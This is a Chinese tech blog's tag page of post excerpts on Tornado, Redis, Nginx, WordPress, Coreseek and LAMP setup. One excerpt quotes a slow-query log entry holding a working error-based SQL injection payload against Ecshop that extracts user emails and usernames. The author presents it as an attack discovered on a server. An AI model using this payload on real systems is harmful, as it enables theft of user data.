Posts Tagged www
Tornado的进程级别缓存用法
之前一直在跟朋友调试一个基于tornado框架的长连接HTTP服务，并不断的优化尽量以最少的资源换取最大的连接数。我的想法是通过定期轮询一个Redis键，当键值发生改变后推送信息给客户端，并同时回写改变数据到redis以便下次比对。这种方法中规中矩，但显然每次变动都会牵扯两次Redis读写，网络开销的代价很大。即便采用了Redis pipline连接池，受通讯时间的影响，性能只能说“可以接受”而已。瓶颈在数据存储的级别。
记得在PHP开发过程中，经常会用到实例级别或者线程级别的变量缓存，带来的性能提升是巨大的。但对于tornado来说，由于每次访问都会实例化tornado.web.RequestHandler，不能满足要求，只能考虑在主线程上进行变量缓存。一旦成功将有可能直接抛弃redis。
用Nginx和Redis搭建琐碎文件下载站
对于网站来说，琐碎文件是一个很鸡肋的问题。太多过小文件的管理总有这样那样的问题，特别是当文件数量到达临界时，甚至作一条ls或者rm都无法正常反应。而且正常情况下琐碎文件都会主动缓存，花费太多资源去实现意义也不大。
之前曾经通过nginx的memcache扩展，配合TokyoTyrant Server（每次都觉得很别嘴）这个即支持memcache协议，又可以持久化的Key-Value实现过琐碎文件的管理，但限于Memcache无法逾越的1M鸿沟，只能保存些小文件。
非阻塞的Python web框架tornado
公司项目中需要使用长链接方式的获取后端数据库——主要是Redis的实时数据。
由于项目本身是PHP的初次看到这个项目，首先想到的是Apache + mod_php的方式，配合php的ob_start()方式直接调用，就如同我之前的一篇东西所说的那样。可问题不这么简单：
- 系统是nginx + php-fpm方式，php-fpm“hold不住”过多的Http请求，而nginx需要调整响应时间。
- 用户数量很多，Apache的消耗很大。本身功能点很小，实现成本不合算。 Read the rest of this entry »
开源小站的基础结构
之前有朋友问过开源小站的架构是怎样的，我回答道：“标准的wordpress，稍微做了一些调整。”时隔一段时期，几经搬迁，这次重新整理了一下开源小站的结构，就当分享罢了。
“开源小站”最初是基于drupal构建，基础数据库是postgresql。后来由于drupal的性能问题以及框死了的postgresql，只能整体迁移到了wordpress+mysql。当然迁移好之后，考虑到drupal和wordpress的链接地址的不同，修改了wordpress的部分代码，让之前的外链不至于失效。后来索性就通过apache的mod_rewrite模块添加了301跳转，wordpress的版本也可以随着“持续演进”了。
Ubuntu上Coreseek+php的安装
Coreseek是一个基于sphinx引擎，支持与mmseg中文分词模块合作完成中文的全文搜索引擎。相对sql这类操作，Coreseek负载可谓是微不足道。当然类似的索引服务器还有给予Java的solr等。我选择coreseek的主要原因之一是他可以通过配置后可以与现有的mysql客户端兼容，并可以直接嵌入到mysql中成为mysql的引擎之一。
首先，下载安装包，我选择的是最新的stable版， 不过不客气的说，即便是coreseek的stable版本，不论是从稳定性、兼容性还是灵活性上都不能算是完善，至少无法跟apache这类经典应用相提并论。
LAMP的常用扩展安装
之前已经弄过许多篇关于LAMP搭建的东西，都是基于最简单包的，这次说说几个比较常用扩展的安装：
- FreeBSD + Apache + PHP + Mysql (恶搞版)
- FreeBSD + Apache + PHP + Mysql + Oracle
- Ubuntu + Apache + PHP + Mysql ，比较简单，正常server版安装结束的最后一步可以选择安装LAMP
- Ubuntu + nginx + php
- Ubuntu + php + Oracle
从4sq宕机到本·拉登宕机
一直在玩Android版本的FourSquar，前些日子忽然无法登录。作为一个身处中国的ITer，首先很自然的想到是由于“非技术因素”导致。没想到这次却是完完全全的技术故障。而且并非是4sq自己的故障，故障来自亚马逊的云托管服务。
同样的，前些天最让奥巴马同志欣慰的莫过于总算搞掉了本·拉登这块心病。美国人一窝蜂的愣是挤爆了CNN的手机网站。据说全美所有新闻网站的平均响应时间瞬间提升了6倍以上——可以说，都是处在了宕机的边缘。拉登果然是“恐怖之王”连他的死讯都能媲美一次完美的DDOS攻击。
Ecshop的问题
在看一台服务器的SQL-Slow日志，看到了如下的一纪录，惊出了一身冷汗！
SELECT pg.package_id, pg.goods_id, pg.goods_number,
pg.admin_id, g.goods_sn, g.goods_name, g.market_price, g.goods_thumb, g.is_real,
IFNULL(mp.user_price, g.shop_price * '1') AS rank_price
FROM `ecs_`.`ecs_package_goods` AS pg
LEFT JOIN `ecs_venusveil`.`ecs_goods` AS g ON g.goods_id = pg.goods_id
LEFT JOIN `ecs_venusveil`.`ecs_member_price` AS mp ON mp.goods_id = g.goods_id AND mp.user_rank = '0'
WHERE pg.package_id = -1
union all
select 1,2,3,4,5,6,7,8,count(*),concat(
(Select concat(0x5b,email,0x3a,user_name,0x5d)
FROM ecs_users
LIMIT 9456,1), floor(rand(0)*2))x
from information_schema.tables
group by x
ORDER BY pg.package_id, pg.goods_id;
高负载的Lamp架构
google的下一代web协议spdy
之前听过Stanely发过一个牢骚：说在公司局域网内使用Chrome，很快收到了网管寄出的Email，大致上是通知他换用其他的浏览器，然后说了一堆Chrome种种的不好、不安全之类的言论。更让他郁闷的是邮件的收件人只是几个Chrome的用户，没有针对其他人，为什么能准确的辨别出谁使用了Chrome？
我想，排除了其他因素，诸如网管可能有远程监视硬盘之类的技术，仅仅通过公司企业的前端路由——估计他们这种规模的企业，一定有深包分析之类的高级设备，完全可以清除的知道谁在使用Chrome，原因就是因为Chrome正在测试google下一代的web协议spdy。
近期评论